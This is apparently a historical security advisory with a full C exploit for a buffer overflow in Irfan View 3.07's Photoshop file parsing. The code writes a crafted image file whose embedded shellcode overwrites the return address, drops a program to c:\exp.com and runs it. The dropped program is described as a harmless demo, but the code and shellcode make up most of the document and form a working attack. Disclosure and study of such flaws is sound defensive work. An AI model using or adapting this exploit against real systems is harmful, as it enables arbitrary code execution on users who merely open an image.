irfan.view32.txt

`The popular Image viewer "Irfan View32" contains the buffer overflow  
problem, this problem exists in the handling of Adobe Photoshop image  
file. Irfan view checks the image type by the image header, if "8BPS"  
pattern is found in the header, Irfan view judges this file as Photo  
Shop image. We think the overflow happens at the handling of reading   
this marker.  
  
You can see the GPF dialog box by the following file.  
  
8BPSaaaaaaaaaaaaaa .... long 'a'  
  
#You can make this file by notepad.exe  
  
This overflow is exploitable if the appropriate value is stored in the  
stack area, any codes such as virus, trojans, destruction code, which is  
stored in the image file can be executed.   
  
This fact means that the danger also exists on downloding the image  
files and viewing them. Of course, there is a possibility of such danger  
also in other software such as movie players, audio players. We coded  
the following sample codes. This code generates the jpg file which  
contains the exploit code that generates "exp.com" in "c:\" and executes  
it("exp.com" is a simple demo program, there is no danger).  
  
This is tested on Japanese Windows98 only.  
  
---  
/*=============================================================================  
Irfan View 3.07 Exploit  
The Shadow Penguin Security (http://shadowpenguin.backsection.net)  
Written by UNYUN ([email protected])  
=============================================================================  
*/  
  
#include <stdio.h>  
#include <string.h>  
#include <windows.h>   
  
#define MAXBUF 0x22e0  
#define RETADR 0x31E  
#define FAKE_ADR 0x80101010 // Writable buffer pointer  
  
#define JMPESP_ADR 0xbffca4f7 // You have to change this value  
// for non-Japanese Windows98.  
#define HEAD "8BPS\0"  
  
unsigned char exploit_code[300]={  
0xEB,0x4F,0x5F,0x32,0xC0,0x88,0x47,0x0A,0x88,0x47,0x10,0x88,0x47,0x17,0x88,0x47,  
0x1E,0x88,0x47,0x23,0x88,0x47,0x26,0x88,0x47,0x2D,0x88,0x47,0x3C,0x57,0xB8,0x50,  
0x77,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x33,0xDB,0xB3,0x0B,0x8B,0xC7,0x03,0xC3,0x50,  
0x56,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xC8,0x33,0xDB,0xB3,0x24,0x8B,0xC7,  
0x03,0xC3,0x50,0xB3,0x32,0x8B,0xC7,0x03,0xC3,0x50,0xFF,0xD1,0x89,0x47,0x2E,0xEB,  
0x02,0xEB,0x71,0x33,0xDB,0xB3,0x18,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,0x6E,  
0xF7,0xBF,0xFF,0xD0,0x8B,0xC8,0x8B,0x47,0x2E,0x50,0x33,0xC0,0xB0,0x03,0x90,0x90,  
0x50,0xB0,0x01,0x50,0x33,0xDB,0xB3,0x3D,0x03,0xDF,0x53,0xFF,0xD1,0x33,0xDB,0xB3,  
0x11,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0x5F,  
0x2E,0x53,0xFF,0xD0,0x33,0xDB,0xB3,0x27,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,  
0x6E,0xF7,0xBF,0xFF,0xD0,0x33,0xDB,0xB3,0x32,0x8B,0xCF,0x03,0xCB,0x51,0xFF,0xD0,  
0x33,0xDB,0x53,0xB3,0x1F,0x8B,0xC7,0x03,0xC3,0x50,0x56,0xB8,0x28,0x6E,0xF7,0xBF,  
0xFF,0xD0,0xFF,0xD0,0xE8,0x39,0xFF,0xFF,0xFF,0x00  
};  
  
// "exp.com"  
unsigned char exploit_data[1000]={  
0xb0,0x13,0xcd,0x10,0xb0,0x0f,0xfe,0xc0,0xb4,0x0c,0xcd,0x10,0x03,0xd1,0x41,0x3c,  
0x20,0x77,0xf1,0xeb,0xf1,0x00  
};  
  
int GetProcAddress_fcp[4]={0x32,0x5e,0x88,0xbc};  
  
char string_buffer[1000] ="msvcrt.dll_fopen_fclose_fwrite_exit_wb_system_****";  
char filename[100] = "c:\\exp.com";  
  
main(int argc,char *argv[])  
{  
unsigned char buf[MAXBUF],l1,l2;  
unsigned int ip,p1,p2,i;  
FILE *fp;  
  
if (argc<2){  
printf("usage : %s outputfile\n",argv[0]);  
exit(1);  
}  
memset(buf,0x90,MAXBUF); buf[MAXBUF]=0;  
memcpy(buf,HEAD,4);  
  
ip=JMPESP_ADR;  
buf[RETADR ]=ip&0xff;  
buf[RETADR+1]=(ip>>8)&0xff;  
buf[RETADR+2]=(ip>>16)&0xff;  
buf[RETADR+3]=(ip>>24)&0xff;  
buf[RETADR+6]=0xeb;  
buf[RETADR+7]=0x04;  
  
ip=FAKE_ADR;  
buf[RETADR+8]=ip&0xff;  
buf[RETADR+9]=(ip>>8)&0xff;  
buf[RETADR+10]=(ip>>16)&0xff;  
buf[RETADR+11]=(ip>>24)&0xff;  
  
p1=(unsigned int)LoadLibrary;  
p2=(unsigned int)GetProcAddress;  
exploit_code[0x1f]=p1&0xff;  
exploit_code[0x20]=(p1>>8)&0xff;  
exploit_code[0x21]=(p1>>16)&0xff;  
exploit_code[0x22]=(p1>>24)&0xff;  
  
for (i=0;i<4;i++){  
exploit_code[GetProcAddress_fcp[i] ]=p2&0xff;  
exploit_code[GetProcAddress_fcp[i]+1]=(p2>>8)&0xff;  
exploit_code[GetProcAddress_fcp[i]+2]=(p2>>16)&0xff;  
exploit_code[GetProcAddress_fcp[i]+3]=(p2>>24)&0xff;  
}  
  
l1=strlen(filename)+strlen(string_buffer);  
l2=strlen(exploit_data);  
strcat(string_buffer,filename );  
strcat(string_buffer,"_" );  
strcat(string_buffer,exploit_data );  
strcat(exploit_code, string_buffer );  
exploit_code[0x1c] = l1;  
exploit_code[0x6d] = l2;  
exploit_code[0x77] = l1+1;  
  
memcpy(buf+RETADR+12,exploit_code,strlen(exploit_code));  
  
if ((fp=fopen(argv[1],"wb"))==NULL){  
printf("Can not write file '%s'\n",argv[1]);  
exit(1);  
}  
  
fwrite(buf,1,MAXBUF,fp);  
fclose(fp);  
printf("Done.\n");  
return FALSE;  
}  
  
-----  
UNYUN  
% The Shadow Penguin Security [ http://shadowpenguin.backsection.net ]  
[email protected] (webmaster)  
% eEye Digital Security Team [ http://www.eEye.com ]  
[email protected]  
  
  
`